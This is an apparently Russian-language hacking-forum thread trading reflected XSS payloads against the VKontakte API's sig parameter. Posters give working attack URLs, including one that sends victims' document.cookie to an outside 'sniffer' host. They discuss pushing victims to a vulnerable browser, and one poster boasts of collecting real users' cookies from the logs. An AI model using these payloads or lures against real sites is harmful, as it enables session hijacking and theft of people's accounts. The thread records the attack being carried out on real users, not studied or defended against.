http://api.vkontakte.ru/api.php?v=2.0&sig=%3Cscript%3Ealert(document.cookie)%3C/script%3E&format=JSON&api_id=517649&method=getAppFriends Добейте
Изя лох это пассивка, http://api.vkontakte.ru/api.php?v=2.0&sig=<img+src=.+onerror=alert()>&format=JSON&api_id=517649&method=getAppFriends
Ха токо в IE пашет и это пассивка, нафиг она, все щас сидят на мозиле и опере. Так уж при впаривании надо говорить зайди через такой браузер иначе страница не загрузится. Я две нашел в более легких условиях и где досих пор пашет))
Работает в Firefox: http://api.vkontakte.ru/api.php?v=2.0&sig=<iframe+src=.+onload=location.href='http://sniffer?'%2Bdocument.cookie>&format=JSON
потрите посты) хотя уже поздно =// ______ upd: спасибо за XSS'ку)))) за сегодня уже 4к рейта набрал)))) ______ upd2: смотрю логи, а там даже куки чака))) еще попался чел из АК47 белобрысый)))